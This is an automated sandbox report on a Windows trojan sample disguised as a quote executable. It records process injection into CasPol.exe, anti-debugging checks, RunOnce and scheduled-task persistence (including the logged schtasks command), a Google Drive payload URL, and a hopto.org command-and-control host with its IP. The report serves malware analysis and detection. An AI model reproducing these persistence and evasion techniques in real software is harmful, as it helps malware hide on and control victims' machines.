Source: C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe

Code function: 0_2_70F51BFF GlobalAlloc,lstrcpyW,lstrcpyW,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyW,GetModuleHandleW,LoadLibraryW,GetProcAddress,lstrlenW,

0_2_70F51BFF

Source: C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe

Code function: 0_2_032C6C04 rdtsc

0_2_032C6C04

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe	Code function: 0_2_032CB395 mov eax, dword ptr fs:[00000030h]	0_2_032CB395
Source: C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe	Code function: 0_2_032D3797 mov eax, dword ptr fs:[00000030h]	0_2_032D3797
Source: C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe	Code function: 0_2_032D4DCA mov eax, dword ptr fs:[00000030h]	0_2_032D4DCA

Source: C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Writes to foreign memory regions

Source: C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe base: D00000

Jump to behavior

Source: C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe	Process created: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe "C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe"	Jump to behavior
Source: C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe	Process created: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe "C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe"	Jump to behavior
Source: C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe	Process created: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe "C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe"	Jump to behavior
Source: C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe	Process created: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe "C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks.exe" /create /f /tn "DSL Monitor" /xml "C:\Users\user\AppData\Local\Temp\tmp1B52.tmp	Jump to behavior

Source: CasPol.exe, 0000000E.00000003.2820224419.000000001F914000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerC:/Windows/Micr
Source: CasPol.exe, 0000000E.00000003.4181705491.0000000000FCD000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 0000000E.00000003.4432749643.0000000000FCD000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 0000000E.00000003.3889484300.0000000000FD2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager
Source: CasPol.exe, 0000000E.00000003.3813457054.000000001F91F000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 0000000E.00000003.2887786854.000000001F920000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 0000000E.00000003.3925313301.000000001F91F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program Managersoft.NET\Framework\v2.0.50727\caspol.exe
Source: CasPol.exe, 0000000E.00000003.3813457054.000000001F91F000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 0000000E.00000003.2887786854.000000001F920000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 0000000E.00000003.3997063226.000000001F91F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program Managersoft.NET\Framework\v2.0.50727\caspol.exe
Source: CasPol.exe, 0000000E.00000003.4031388100.000000001F914000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 0000000E.00000003.3862073877.000000001F914000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 0000000E.00000003.4000202776.000000001F914000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program Managersoft.NET\Framework\v2.0.50727\caspol.exeC:/Windows/Micr
Source: CasPol.exe, 0000000E.00000003.2820274280.000000001F920000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program Manager$
Source: CasPol.exe, 0000000E.00000003.2820274280.000000001F920000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program Manager\|

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe

0_2_00403640

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	1 Scheduled Task/Job	1 Scheduled Task/Job	1 Access Token Manipulation	1 Masquerading	OS Credential Dumping	221 Security Software Discovery	Remote Services	1 Archive Collected Data	Exfiltration Over Other Network Medium	11 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	1 System Shutdown/Reboot
Default Accounts	1 Native API	1 Registry Run Keys / Startup Folder	112 Process Injection	1 Disable or Modify Tools	LSASS Memory	2 Process Discovery	Remote Desktop Protocol	1 Clipboard Data	Exfiltration Over Bluetooth	1 Non-Standard Port	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	1 DLL Side-Loading	1 Scheduled Task/Job	131 Virtualization/Sandbox Evasion	Security Account Manager	131 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	1 Ingress Tool Transfer	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	1 Registry Run Keys / Startup Folder	1 Access Token Manipulation	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	2 Non-Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	1 DLL Side-Loading	112 Process Injection	LSA Secrets	3 File and Directory Discovery	SSH	Keylogging	Data Transfer Size Limits	113 Application Layer Protocol	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	1 Hidden Files and Directories	Cached Domain Credentials	5 System Information Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	1 Obfuscated Files or Information	DCSync	Network Sniffing	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	Network Service Scanning	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
QT_0948765446-NMPMUST-9876563783.exe	2%	ReversingLabs	Win32.Trojan.Shelsy

Dropped Files

Source	Detection	Scanner	Link
C:\Users\user\AppData\Local\Temp\libpixbufloader-tiff.dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Temp\libpixbufloader-tiff.dll	0%	Metadefender	Browse
C:\Users\user\AppData\Local\Temp\libpixbufloader-tiff.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\library.dll	3%	Virustotal	Browse
C:\Users\user\AppData\Local\Temp\library.dll	0%	Metadefender	Browse
C:\Users\user\AppData\Local\Temp\library.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\nsq8ECC.tmp\System.dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Temp\nsq8ECC.tmp\System.dll	3%	Metadefender	Browse
C:\Users\user\AppData\Local\Temp\nsq8ECC.tmp\System.dll	0%	ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

⊘No Antivirus matches

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
drive.google.com	142.250.185.78	true	false	high
googlehosted.l.googleusercontent.com	216.58.212.129	true	false	high
8476.hopto.org	91.193.75.131	true	false	unknown
doc-08-38-docs.googleusercontent.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://doc-08-38-docs.googleusercontent.com/docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/ot0nf77q6jqiqi74hke0fspqmeou4ksp/1652799000000/00504591766740753318/*/15pFGBWcJey0L1ljJmoCXsS1qG0k_QM5X?e=download	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://doc-08-38-docs.googleusercontent.com/	CasPol.exe, 0000000E.00000003.4620731373.0000000000FD7000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 0000000E.00000003.3099773700.0000000000FD7000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 0000000E.00000003.4493817238.0000000000FD7000.00000004.00000020.00020000.00000000.sdmp	false	high
https://doc-08-38-docs.googleusercontent.com/g	CasPol.exe, 0000000E.00000003.4620731373.0000000000FD7000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 0000000E.00000003.3099773700.0000000000FD7000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 0000000E.00000003.4493817238.0000000000FD7000.00000004.00000020.00020000.00000000.sdmp	false	high
http://nsis.sf.net/NSIS_ErrorError	QT_0948765446-NMPMUST-9876563783.exe, qindarka.exe.14.dr	false	high
https://doc-08-38-docs.googleusercontent.com/docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/ot0nf77q	CasPol.exe, 0000000E.00000003.4494173257.0000000000FFC000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 0000000E.00000003.2795272185.0000000001015000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 0000000E.00000003.2789751149.0000000001015000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 0000000E.00000003.3100038167.0000000000FFC000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 0000000E.00000003.4620929748.0000000000FFC000.00000004.00000020.00020000.00000000.sdmp	false	high
https://drive.google.com/	CasPol.exe, 0000000E.00000003.4255498172.0000000000FB3000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 0000000E.00000003.4089182342.0000000000FB3000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 0000000E.00000003.4432529097.0000000000FB4000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 0000000E.00000003.4146600706.0000000000FB3000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 0000000E.00000003.3099773700.0000000000FD7000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 0000000E.00000003.4181477384.0000000000FB3000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 0000000E.00000003.3100680425.0000000000FA8000.00000004.00000020.00020000.00000000.sdmp	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
142.250.185.78	drive.google.com	United States	15169	GOOGLEUS	false
216.58.212.129	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false
91.193.75.131	8476.hopto.org	Serbia	209623	DAVID_CRAIGGG	false

General Information

Joe Sandbox Version:	34.0.0 Boulder Opal
Analysis ID:	628420
Start date and time: 17/05/202216:48:38	2022-05-17 16:48:38 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 13m 35s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	QT_0948765446-NMPMUST-9876563783.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit 20H2 Native physical Machine for testing VM-aware malware (Office 2019, IE 11, Chrome 93, Firefox 91, Adobe Reader DC 21, Java 8 Update 301
Run name:	Suspected Instruction Hammering
Number of analysed new started processes analysed:	35
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal88.troj.evad.winEXE@15/17@36/3
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 35.1% (good quality ratio 34.6%) Quality average: 87.8% Quality standard deviation: 21.2%
HCA Information:	Successful, ratio: 96% Number of executed functions: 74 Number of non-executed functions: 56
Cookbook Comments:	Found application associated with file extension: .exe Adjust boot time Enable AMSI

Warnings

Behavior information exceeds normal sizes, reducing to normal. Report will have missing behavior information.
Exclude process from analysis (whitelisted): audiodg.exe, BackgroundTransferHost.exe, UserOOBEBroker.exe, RuntimeBroker.exe, ShellExperienceHost.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 20.82.207.122
Excluded domains from analysis (whitelisted): client.wns.windows.com, wdcpalt.microsoft.com, fs.microsoft.com, slscr.update.microsoft.com, wd-prod-cp-eu-north-2-fe.northeurope.cloudapp.azure.com, img-prod-cms-rt-microsoft-com.akamaized.net, wdcp.microsoft.com, arc.msn.com, wd-prod-cp.trafficmanager.net, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
16:50:36	API Interceptor	1x Sleep call for process: QT_0948765446-NMPMUST-9876563783.exe modified
16:51:06	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce TIRLS C:\Users\user\AppData\Local\Temp\Tagselvbordet6\qindarka.exe
16:51:10	Task Scheduler	Run new task: DSL Monitor path: "C:\Windows\Microsoft.NET\Framework\v2.0.50727\caspol.exe" s>$(Arg0)
16:51:10	API Interceptor	4228x Sleep call for process: CasPol.exe modified
16:51:14	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\RunOnce TIRLS C:\Users\user\AppData\Local\Temp\Tagselvbordet6\qindarka.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link
91.193.75.131	CMACGM-WBINS9013246-20210714-125247.pdf.vbs	Get hash	malicious	Browse
	Scan 1000276325462 document.vbs	Get hash	malicious	Browse
	D#U007e12345678-0987654334567-0987654345678.exe	Get hash	malicious	Browse
	X5vIeHmZPD.exe	Get hash	malicious	Browse

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
DAVID_CRAIGGG	Re-RFQ - PN List.vbs	Get hash	malicious	Browse	91.193.75.216
	Requests Details.vbs	Get hash	malicious	Browse	91.193.75.143
	26gcw6zquf.PS1	Get hash	malicious	Browse	91.193.75.143
	vsQkhWCXxv.exe	Get hash	malicious	Browse	185.140.53.3
	OEc88DZdiO.exe	Get hash	malicious	Browse	91.193.75.132
	SecuriteInfo.com.Trojan.PackedNET.331.28355.exe	Get hash	malicious	Browse	91.193.75.133
	qs5yhVj1bE.exe	Get hash	malicious	Browse	91.193.75.221
	Ki8WlC0ddA.exe	Get hash	malicious	Browse	91.193.75.221
	xVDAUvl3Pn.exe	Get hash	malicious	Browse	91.193.75.134
	e1f388b8a086e034b1fbd94ca7341008.exe	Get hash	malicious	Browse	185.140.53.3
	CMACGM-WBINS9013246-20210714-125247.pdf.vbs	Get hash	malicious	Browse	91.193.75.131
	po-iteam DOO00076543.exe	Get hash	malicious	Browse	91.193.75.132
	Charter request details.vbs	Get hash	malicious	Browse	91.193.75.194
	SWIFT_poruka ERSTE BANK ad NOVI SAD.vbs	Get hash	malicious	Browse	91.193.75.133
	IMG2_455982134.exe	Get hash	malicious	Browse	185.140.53.174
	Purchase Report.vbs	Get hash	malicious	Browse	91.193.75.175
	BRINK GMBH BESTELLUNG _ ANFORDERUNG SH238429 12x2.5 mm#U00b2.exe	Get hash	malicious	Browse	185.140.53.72
	Scan 1000276325462 document.vbs	Get hash	malicious	Browse	91.193.75.131
	NEW ORDER 0522 202204280000883 pdf.vbs	Get hash	malicious	Browse	91.193.75.132
	commercial invoice.vbs	Get hash	malicious	Browse	185.165.153.84

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
37f463bf4616ecd445d4a1937da06e19	https://www.evernote.com/shard/s405/sh/915d5b0f-a840-da4e-a1ea-83b470fc7689/7935351e08d72fb9a2a42963eac342ec	Get hash	malicious	Browse	142.250.185.78 216.58.212.129
	ff.exe	Get hash	malicious	Browse	142.250.185.78 216.58.212.129
	Payment Receipt 03.exe	Get hash	malicious	Browse	142.250.185.78 216.58.212.129
	https://betterbeautifulself.com/liqs/ADOBE/ADOBE/	Get hash	malicious	Browse	142.250.185.78 216.58.212.129
	DOC-BL.exe	Get hash	malicious	Browse	142.250.185.78 216.58.212.129
	https://obgynresults.com/secure-file/stewart.html	Get hash	malicious	Browse	142.250.185.78 216.58.212.129
	https://obgynresults.com/secure-file/stewart.html	Get hash	malicious	Browse	142.250.185.78 216.58.212.129
	https://794609.documents.savethenote2.com/healthesystems/viewAgreement?tsid=ZGFyeWxAaGVhbHRoZXN5c3RlbXMuY29t#%25EMAILX	Get hash	malicious	Browse	142.250.185.78 216.58.212.129
	Storage Update.html	Get hash	malicious	Browse	142.250.185.78 216.58.212.129
	http://crystal-window-door-systems.odoo.com	Get hash	malicious	Browse	142.250.185.78 216.58.212.129
	http://ideamarker.com	Get hash	malicious	Browse	142.250.185.78 216.58.212.129
	SecuriteInfo.com.Gen.Variant.Nemesis.6598.18080.exe	Get hash	malicious	Browse	142.250.185.78 216.58.212.129
	A1FsbRkm5m.exe	Get hash	malicious	Browse	142.250.185.78 216.58.212.129
	Amsterdam Encrypted-Doc-File.html	Get hash	malicious	Browse	142.250.185.78 216.58.212.129
	https://s3.eu-central-1.wasabisys.com/wetrans/wetranfers.html#group.customer@swisslife.com	Get hash	malicious	Browse	142.250.185.78 216.58.212.129
	Remittance-Details-951244-1.xlam	Get hash	malicious	Browse	142.250.185.78 216.58.212.129
	njUIPPVrud.exe	Get hash	malicious	Browse	142.250.185.78 216.58.212.129
	https://helinv-my.sharepoint.com/:b:/g/personal/patrice_dherouville_heli_be/Eamm_VVq7LFFohgEd3069coB2aWbSdcD2IqoLee2-Yrnrg	Get hash	malicious	Browse	142.250.185.78 216.58.212.129
	VkDJ.exe	Get hash	malicious	Browse	142.250.185.78 216.58.212.129
	AWB EXPORT 1983234316.xlsm	Get hash	malicious	Browse	142.250.185.78 216.58.212.129

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Link
C:\Users\user\AppData\Local\Temp\library.dll	QT_0948765446-NMPMUST-9876563783.exe	Get hash	malicious	Browse
	PO#4200000866.exe	Get hash	malicious	Browse
	PO#4200000866.exe	Get hash	malicious	Browse
	s9kIU8A6sJ.exe	Get hash	malicious	Browse
C:\Users\user\AppData\Local\Temp\libpixbufloader-tiff.dll	QT_0948765446-NMPMUST-9876563783.exe	Get hash	malicious	Browse
C:\Users\user\AppData\Local\Temp\nsq8ECC.tmp\System.dll	QT_0948765446-NMPMUST-9876563783.exe	Get hash	malicious	Browse
	Payment Receipt 03.exe	Get hash	malicious	Browse
	maalesteder.exe	Get hash	malicious	Browse
	Payment Receipt 03.exe	Get hash	malicious	Browse
	SecuriteInfo.com.Gen.Variant.Nemesis.6604.25911.exe	Get hash	malicious	Browse
	SecuriteInfo.com.Gen.Variant.Nemesis.6604.25911.exe	Get hash	malicious	Browse
	SecuriteInfo.com.Gen.Variant.Nemesis.6598.18080.exe	Get hash	malicious	Browse
	QUOTE-PRICELIST ITEMS.xlsx	Get hash	malicious	Browse
	SecuriteInfo.com.Gen.Variant.Nemesis.6598.18080.exe	Get hash	malicious	Browse
	ShipmentReceipt9521368040.xlsx	Get hash	malicious	Browse
	njUIPPVrud.exe	Get hash	malicious	Browse
	SecuriteInfo.com.NSIS.Injector.ASH.13830.exe	Get hash	malicious	Browse
	njUIPPVrud.exe	Get hash	malicious	Browse
	SecuriteInfo.com.NSIS.Injector.ASH.13830.exe	Get hash	malicious	Browse
	ShipmentReceipt93213628045.xlsx	Get hash	malicious	Browse
	PO 150938, 150939 & 150940.exe	Get hash	malicious	Browse
	PO 150938, 150939 & 150940.exe	Get hash	malicious	Browse
	PO140785.exe	Get hash	malicious	Browse
	PO140785.exe	Get hash	malicious	Browse
	PO6R727632-5642468.exe	Get hash	malicious	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v2.0_32\UsageLogs\caspol.exe.log

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	20
Entropy (8bit):	3.6841837197791887
Encrypted:	false
SSDEEP:	3:QHXMKas:Q3Las
MD5:	B3AC9D09E3A47D5FD00C37E075A70ECB
SHA1:	AD14E6D0E07B00BD10D77A06D68841B20675680B
SHA-256:	7A23C6E7CCD8811ECDF038D3A89D5C7D68ED37324BAE2D4954125D9128FA9432
SHA-512:	09B609EE1061205AA45B3C954EFC6C1A03C8FD6B3011FF88CF2C060E19B1D7FD51EE0CB9D02A39310125F3A66AA0146261BDEE3D804F472034DF711BC942E316
Malicious:	false
Preview:	1,"fusion","GAC",0..

C:\Users\user\AppData\Local\Temp\ArtDeco_green_22.bmp

Download File

Process:	C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe
File Type:	PNG image data, 110 x 110, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	6849
Entropy (8bit):	7.964410103086909
Encrypted:	false
SSDEEP:	192:84tawNmazDkzm194nzoleRkBVth1GHnClTPfiu3P713O+WZQC:vJLkm16nzRknth1GHCl7iuf9rWZQC
MD5:	C9E51CDC81D062234E363D135F53D582
SHA1:	BBF061CB6C6E6C85A0FBEC058F2DC27DE7A56BC9
SHA-256:	599388CC93E8D2AE04325F6A692B31E6CBCFEE9D11FEA4A22E8FE31E1FF89AA2
SHA-512:	ABDF90AF83C2555F5675BD85F525672ADDFFAC965FBF349E2B1020E613E82377417646F1956A9EBD17B947B209655A721101AF4FF70970845DFC53FF7E8072C8
Malicious:	false
Preview:	.PNG........IHDR...n...n.....I9......pHYs...a...a..?.i...sIDATx..].[.7..O./1..."q0./tu..^&.%y.yI&o.Ibg.7....w.#.:R..p.]_.\|Ew.J:...R...c...{..\\|.z.r........n.pn.....z...,B...\.}..,.f...`...~..]8...`%....A...Y.<...H...".F.J.v%`.~.m..w..pQ.z....Hz.%........{h.#=..^....7.S`......3............Q..X...[W......._.o....I..g>.3l:.........a.^ (......,P6.."N4........<.i.H..1..z._.P@..=k7.....L.v.3.x.=;@..(:.=P.'4P2...h.Z ("...lY.{q1.......$..Y.:...9hU.....<z....E..08TM/.}../.M..M...4D..+...Bd._K......2...L...A..^.$.:^..5;-4...p4 .@...t0.........6z....LH......f..b...SA.M....HZo.!X.3...a#!\|.....5............t4i...Uh....6.x.y....S.l..t-.I...p...~..A..........W...........h.o^.ex...bn8so(:Oy.=r.YTj.sz.%.]..8...9.A.."A.....O........h.Q.+.v.v...9..md.Aa....7a......]...!..v.?.9...\......l.HI..(h....O_...wF6.....C7..+2N.x@z'G.8..hoO...+m...N.....Jza.#.......T..Sk..?.1....=..=..>..5...2#F.wm<,z.....!..O...n`H.%.@D(.4\FrX.[.'.}~.HZ.7.......x..0.5LM. .b....

C:\Users\user\AppData\Local\Temp\Tagselvbordet6\qindarka.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe
File Type:	data
Category:	dropped
Size (bytes):	260733
Entropy (8bit):	7.569738313483503
Encrypted:	false
SSDEEP:	6144:HYa6ZtKR5Z0v2uTcWdq+LKimLlF21W0PLpxYwX:HY3Y5Z0eGJq+LuxF2sL0
MD5:	79998199D5193170B5471A3C44E334CB
SHA1:	15FE429245C5D0847452141A1677D3C16692569F
SHA-256:	C54D824042A45B2D070D00062BCA6ECCD6B45EC2984DEBD0A476B5CDE8A395F4
SHA-512:	4C997815C513019148CA0FE9FD69DBDAA5200ABFC9A98183869A6647F6B3BCB723E82AA9DAB77618BD992BE049C91E1A5FEC2AA5DFA4F25C4D80B548175BFA13
Malicious:	false
Preview:	.Z......................@...............................................!..L.!This program cannot be run in DOS mode....$........1...Pf..Pf..Pf._9..Pf..Pg.LPf._;..Pf.sV..Pf..V`..Pf.Rich.Pf.........................PE..L.....Oa.................h...*......@6............@.......................................@............................................. ............................................................................................................text...vf.......h.................. ..`.rdata...............l..............@..@.data...x...........................@....ndata...................................rsrc... ...........................@..@................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\applications-engineering.png

Download File

Process:	C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	495
Entropy (8bit):	7.413794533078799
Encrypted:	false
SSDEEP:	12:6v/7lgK+7rivq3U5TPrJlMjyFp25GxlaPaBkgGiYbmgaEwPF:s/kkhrEjyFp25GxlaPaKg3pdF
MD5:	DA02560CE065ED9F812FC23B6AF4E2C6
SHA1:	1A05DEAA45D137500AE2279C5EB608FD8F77B1F8
SHA-256:	2BEC36AB11AA5A8328257C4A9D1F268805451983D5AAC657E098C9FC386574F6
SHA-512:	EF3CDAF6F39C9EFC309DE851F798840DAA475F6263FCC23E590DB40D98640B3481053720FBF0015D83BAFB6F0CACE7CBF09131EE0498C7C4CF1AD34472E8004B
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx...E..`...^..........Kd\|..k$.......[K..H-.L..=OY.....P.n..iW..z.0.{...j....%..W.D0{...QQ...S..9/^>K.k........EH$..y......h.3.....v .....u...g.86.{."Ti*H9..ii...p?.B $I.k....~.......E......P.6.9G.-P->\|z....9.>x.`...m).hvn.(.._...Jf4.......-'E.....^?...........C#......?...........=...w.t...i>......&^.~..76.c.T...nAb.....3NP..'&....b..`tl8$...."..f.............$.H.........7o].7o^a-i.....C\|\|...H.`k../..'1.! ...D..E...]0...j9....IEND.B`.

C:\Users\user\AppData\Local\Temp\document-print-preview-symbolic.symbolic.png

Download File

Process:	C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	290
Entropy (8bit):	6.970419229774679
Encrypted:	false
SSDEEP:	6:6v/lhPys1jeVXJA4VdfgDp3/wrnyVNS5hhll0IdXEVnyBaJa6jp:6v/7VjQ10OTGgL0zVyBaQ6N
MD5:	0D79E9D00775B587F7DDC07F85581167
SHA1:	E094329B29C52656965AF26D944CBC8B753B831A
SHA-256:	3A431205D5999B6CE43AFE3E3F553BEB46C95B40F202880E8B6A404593A138B5
SHA-512:	46724C6B562D9D5161971599302114EE8B66D163FDAB8EE4625E489DBE765734CA283C9289C92BBD183444368974D17B2DC143204D6C0AA805F5D2A92DF686A9
Malicious:	false
Preview:	.PNG........IHDR................a....sBIT....\|.d.....IDAT8...J.Q.../..,....7.\..^.L+.V....S...V. ...................M..Eq..Y..f5..>v.O........6.....E...+la..p...2....-.)6....f.....'..Y7.(......%...&.T^.D9.n..X/K.B.A......Z...E.u........~...Cl......1....[!./.#S.....IEND.B`.

C:\Users\user\AppData\Local\Temp\flugters.GLA

Download File

Process:	C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe
File Type:	data
Category:	dropped
Size (bytes):	94761
Entropy (8bit):	7.147038765629842
Encrypted:	false
SSDEEP:	1536:2XNlqvDX7cKj1l6vX42bW/9eSn3pPi+4mad2LIVfWUXX290zHBsSBbe6kf:iNlaDLcY4X4D/Ln3p6qad06e0HH3Fkf
MD5:	DB1F8338E32AEA828E5F3BC1E479EA4D
SHA1:	D0EC5F2CC0A8A865F7420C5185F39D406DA0523C
SHA-256:	847653D9662EB47618CADA712604EFAD95A9093844A40C60546F97D7604208F9
SHA-512:	E4A647449E22428D3B3DBD1BED29290B61E8DA8D6CCAA4E53B78699ABC4CED3D46E09C23C62AC5C7321F01F2A8CCF807801E8F7B18B3EC1861856121295BE728
Malicious:	false
